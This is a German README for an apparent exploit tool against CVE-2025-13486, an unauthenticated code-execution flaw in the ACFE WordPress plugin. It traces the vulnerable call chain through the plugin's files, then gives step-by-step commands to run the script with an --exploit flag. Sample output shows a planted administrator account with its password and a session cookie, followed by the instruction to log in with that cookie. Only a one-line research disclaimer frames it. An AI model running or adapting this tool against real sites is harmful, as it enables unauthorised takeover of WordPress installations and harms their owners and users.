
CVE-2025-13486 - Exploit für Remotecodeausführung & Privilegienerweiterung
Exploit für CVE-2025-13486, entdeckt von Marcin Dudek (dudekmar)
Dieses Repository dient ausschließlich Forschungs- und Verteidigungszwecken. Der Autor übernimmt keine Verantwortung für den Missbrauch dieser Informationen.
Das Advanced Custom Fields: Extended (ACFE)-Plugin für WordPress ist in den Versionen 0.9.0.5 bis 0.9.1.1 anfällig für Remote Code Execution (RCE).
Die Schwachstelle befindet sich in der Funktion prepare_form(), die benutzergesteuerte Eingaben akzeptiert und ohne ordnungsgemäße Validierung an call_user_func_array() weitergibt.
Dies ermöglicht es nicht authentifizierten Angreifern, in begrenztem Umfang beliebigen PHP-Code auf dem Server auszuführen, was dennoch ausreicht, um ein Administratorkonto zu erstellen und sich anzumelden.
Die Angriffskette ist wie folgt:
includes/modules/form/module-form-front.php:24 -> Die Aktion wp_ajax_nopriv_acfe/form/render_form_ajax löst den Handler render_form_ajax aus.
includes/modules/form/module-form-front.php:492 -> Der Filter acfe/form/prepare_form wird angewendet, wodurch die Funktion prepare_form() aufgerufen wird.
includes/modules/form/module-form-front-render.php:151 -> Benutzergesteuerte $form-Daten werden direkt an call_user_func_array() übergeben.
Python-Abhängigkeiten installieren:
python3 -m venv venv
venv/bin/pip install -r requirements.txt
Ein verwundbares WordPress-Ziel identifizieren.
Das Ziel muss eine Seite mit einem ACFE-generierten Formular enthalten.
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2
Beispielausgabe:
[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
Das Skript erneut mit dem --exploit-Flag ausführen:
venv/bin/python3 CVE-2025-13486.py -t http://127.0.0.1:8000/\?page_id=2 --exploit
Beispielausgabe:
[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214%7CwVDbFsbQpjYMM6ckgEQ6gwr6dcjIRhmqYed7Y46YqHJ%7C2f7857614d5ebe1216922dab79c3a8be7164cccde0869e1545f3bfb17c5d2859
Das zurückgegebene WordPress-Authentifizierungs-Cookie verwenden, um sich als das neu erstellte Administratorkonto anzumelden.